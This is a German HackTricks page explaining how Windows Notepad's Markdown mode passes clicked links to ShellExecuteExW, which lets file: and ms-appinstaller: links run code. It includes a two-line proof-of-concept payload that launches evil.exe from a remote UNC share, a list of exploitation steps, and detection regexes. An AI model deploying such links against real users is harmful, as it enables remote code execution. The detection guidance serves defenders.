Windows Protocol Handler / ShellExecute Abuse (Markdown Renderers)
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Moderne Windows-Anwendungen, die Markdown/HTML rendern, wandeln vom Benutzer gelieferte Links oft in anklickbare Elemente um und übergeben sie an ShellExecuteExW. Ohne striktes Scheme-Allowlisting kann jeder registrierte protocol handler (z. B. file:, ms-appinstaller:) ausgelöst werden, was zu Codeausführung im Kontext des aktuellen Benutzers führen kann.
ShellExecuteExW surface in Windows Notepad Markdown mode
- Notepad wählt den Markdown-Modus nur für
.mdextensions via einem festen String-Vergleich insub_1400ED5D0(). - Unterstützte Markdown-Links:
- Standard:
[text](target) - Autolink:
<target>(gerendert als[target](target)), daher sind beide Syntaxvarianten für payloads und detections relevant. - Link-Klicks werden in
sub_140170F60()verarbeitet, das eine schwache Filterung durchführt und dannShellExecuteExWaufruft. ShellExecuteExWleitet an any configured protocol handler weiter, nicht nur HTTP(S).
Payload considerations
- Alle
\\-Sequenzen im Link werden vorShellExecuteExWauf\normalisiert, was UNC-/Pfad-Konstruktion und Erkennung beeinflusst. .md-Dateien sind nicht standardmäßig mit Notepad verknüpft; das Opfer muss die Datei weiterhin in Notepad öffnen und den Link anklicken, aber sobald sie gerendert ist, ist der Link klickbar.- Gefährliche Beispiel-Schemata:
file://um ein lokales/UNC Payload zu starten.ms-appinstaller://um App Installer-Flows auszulösen. Andere lokal registrierte Schemata können ebenfalls missbrauchbar sein.
Minimal PoC Markdown
[run](file://\\192.0.2.10\\share\\evil.exe)
<ms-appinstaller://\\192.0.2.10\\share\\pkg.appinstaller>
Ablauf der Ausnutzung
- Erstellen Sie eine
.md-Datei, sodass Notepad sie als Markdown rendert. - Betten Sie einen Link mit einem gefährlichen URI-Schema ein (
file:,ms-appinstaller:oder einen beliebigen installierten Handler). - Liefern Sie die Datei (HTTP/HTTPS/FTP/IMAP/NFS/POP3/SMTP/SMB oder ähnlich) und überreden Sie den Benutzer, sie in Notepad zu öffnen.
- Beim Klick wird der normalisierte Link an
ShellExecuteExWübergeben und der entsprechende Protokoll-Handler führt den referenzierten Inhalt im Kontext des Benutzers aus.
Erkennungsansätze
- Überwachen Sie Übertragungen von
.md-Dateien über Ports/Protokolle, die häufig Dokumente liefern:20/21 (FTP),80 (HTTP),443 (HTTPS),110 (POP3),143 (IMAP),25/587 (SMTP),139/445 (SMB/CIFS),2049 (NFS),111 (portmap). - Parsen Sie Markdown-Links (standard und autolink) und suchen Sie nach unabhängig von Groß-/Kleinschreibung
file:oderms-appinstaller:. - Vom Vendor empfohlene Regexes, um den Zugriff auf Remote-Ressourcen zu erfassen:
(\x3C|\[[^\x5d]+\]\()file:(\x2f|\x5c\x5c){4}
(\x3C|\[[^\x5d]+\]\()ms-appinstaller:(\x2f|\x5c\x5c){2}
- Berichten zufolge allowlists der Patch lokale Dateien und HTTP(S); alles andere, das
ShellExecuteExWerreicht, ist verdächtig. Erweitere die Erkennungen bei Bedarf auf andere installierte protocol handlers, da die attack surface je nach System variiert.
References
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.


